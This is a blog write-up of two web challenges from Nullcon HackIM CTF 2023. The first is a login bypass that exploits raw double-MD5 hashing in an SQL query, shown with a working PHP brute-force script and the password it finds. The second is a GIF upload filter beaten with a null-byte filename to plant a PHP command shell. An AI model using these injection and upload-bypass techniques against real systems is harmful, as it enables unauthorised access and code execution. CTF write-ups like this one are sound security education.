WebSec. CTFs. Research.

Nullcon HackIM CTF 2023 Web Writeups

Last week, I participated in the Nullcon HackIM CTF 2023 with 1/0 (formerly team zh3r0).

We managed to get the 2nd place and solve all challenges in the Web category :)

Image

As supposed, I will be writing up the last two Web challenges, which were ranked as the hardest based on the points.

Loginbytepass [436 points]

Overview:

Image

I found this challenge particularly fun considering it included a very fun PHP-specific trick which I always enjoy obviously.

The challenge description implies SQL injection is impossible here, but is it really? 👀

Solution:

  • Making a POST request to /?src with any set of credentials we can get the challenge source code:
<?php
    define("LOADFLAG", true);
    error_reporting(0);
    $db = mysqli_connect('db', 'user', 'password', 'db');

    function list_users() {
        global $db;
        echo "<h1>Registered users:</h1>";
        $res = mysqli_query($db, "SELECT * FROM users");
        while ($user = $res->fetch_object()) {
            echo "<p>";
            echo "User: " . $user->username . " Password: " . $user->password;
            echo "</p>";
        }
    }

    function check_auth($username, $password) {
        global $db;
        $username = mysqli_real_escape_string($db, $username); // prevent SQL injection
        $password = md5(md5($password, true), true);
        $res = mysqli_query($db, "SELECT * FROM users WHERE username = '$username' AND password = '$password'");
        if (isset($res) && $res->fetch_object()) {
            return true;
        }
        return false;
    }

    if (check_auth($_POST['username'], $_POST['password'])) {
        include_once "flag.php";
    }
    list_users();

    if (isset($_GET['src'])) {
        highlight_file(__FILE__);
    }
    // with <3 from @gehaxelt
?>

The check_auth() call clearly shows we need to somehow pass a correct set of credentials, which will make the flag be shown.

While making a POST request to authenticate, list_users() function gets called and reveals both user admin and user flag credentials - all that is left is to log in right?

Image

Well, that obviously didn’t work, let’s take a look at how check_auth() actually works..

The $username seems to be sanitized correctly with mysqli_real_escape_string() which should not have a bypass in this context, however $password appears to have some weird double md5 encoding which then gets passed directly into the SQL query.

So can we get an SQL injection in this situation? Surprisingly, the answer is yes, however, with a limited number of bytes.

Let’s take a look at the PHP documentation for the md5() function:

Image

If the binary argument is set to true, which it is, PHP will return the encoded string in binary format instead, which is random, but should be able to get us somewhere.

This kind of implementation also breaks authentication, but it is a CTF challenge before all ¯_(ツ)_/¯:

Image

The idea that instantly got on my mind was, what if we can manage to guess a password that will make md5() return a single-quote (') which will escape the current SQL query context and allow us to do something like OR 1=1 to bypass authentication.

The only issue would be, the payload would have to be max 3-4 chars since brute-forcing this would be quite hefty.

Playing with it on a local DB, I realized the following:

Image

So, using a payload like '+1; (which is only 4 chars) we can make it return the password (with a warning because of the syntax error rest of the payload creates).

All that is left is to write a script that will bruteforce md5() calls until one returns raw bytes starting with either '+1; or '-1; (the rest won’t matter).

I came up with the following:

<?php
function checkHash($string) {
    $hashed = md5(md5($string, true), true);
    return strpos($hashed, "'+1;") === 0 || strpos($hashed, "'-1;") === 0 || strpos($hashed, "'='");
}

$characters = implode('', range(chr(33), chr(126))); 
$maxLength = 10;

$found = false;

for ($length = 1; $length <= $maxLength; $length++) {
    $combinations = pow(strlen($characters), $length);

    for ($i = 0; $i < $combinations; $i++) {
        $string = '';
        $index = $i;

        for ($j = 0; $j < $length; $j++) {
            $string .= $characters[$index % strlen($characters)];
            $index = (int)($index / strlen($characters));
        }

        echo $string . "\n";
        if (checkHash($string)) {
            echo "Found a match!\n";
            echo "Input string: $string\n";
            $found = true;
            break 2;
        }
    }
}

if (!$found) {
    echo "No match found.\n";
}
?>

However, as you can see in the script, I also added a check for '=' since my team-mate figured out that will work as well and is even shorter (only 3 characters) - this lowered the brute force time from 2 hours to a couple seconds for just a single byte difference

  • Note: '=' works since the query will evaluate to something like:
SELECT * FROM users WHERE username = 'flag' AND password = ''=''';

Which returns true obviously.

Within a couple of seconds of running the script, we get a valid match:

Image

  • All that is left is to log in with username flag and password SHW and we successfully get the flag!

Image

Flag:

  • ENO{It’s_always_MD5-N3ever_Trust_1t!}

Magic Cars [408 points]

Overview:

Image

This one is quite simple, just a trivial file upload bypass.

Solution:

The website provides an upload GIF file functionality:

Image

It appears that there are the following 3 checks applied to every file to ensure it’s safely uploaded on the server:

  1. Filename extension has to end with .gif

  2. Content-Type header has to be image/gif

  3. File header signature has to include GIF87a

Image

All that we really need to do to bypass this is include a null byte before the extension, which makes the server omit the rest, i.e. exec.php%00.gif:

Image

Going to /images/exec.php we can get our RCE.

After looking through the filesystem a bit, we got the flag via /images/exec.php?cmd=cat%20/var/www/html/flag.flag

Image

Flag:

  • ENO{4n_uplo4ded_f1l3_c4n_m4k3_wond3r5}

Hope you enjoyed this little CTF writeup! :)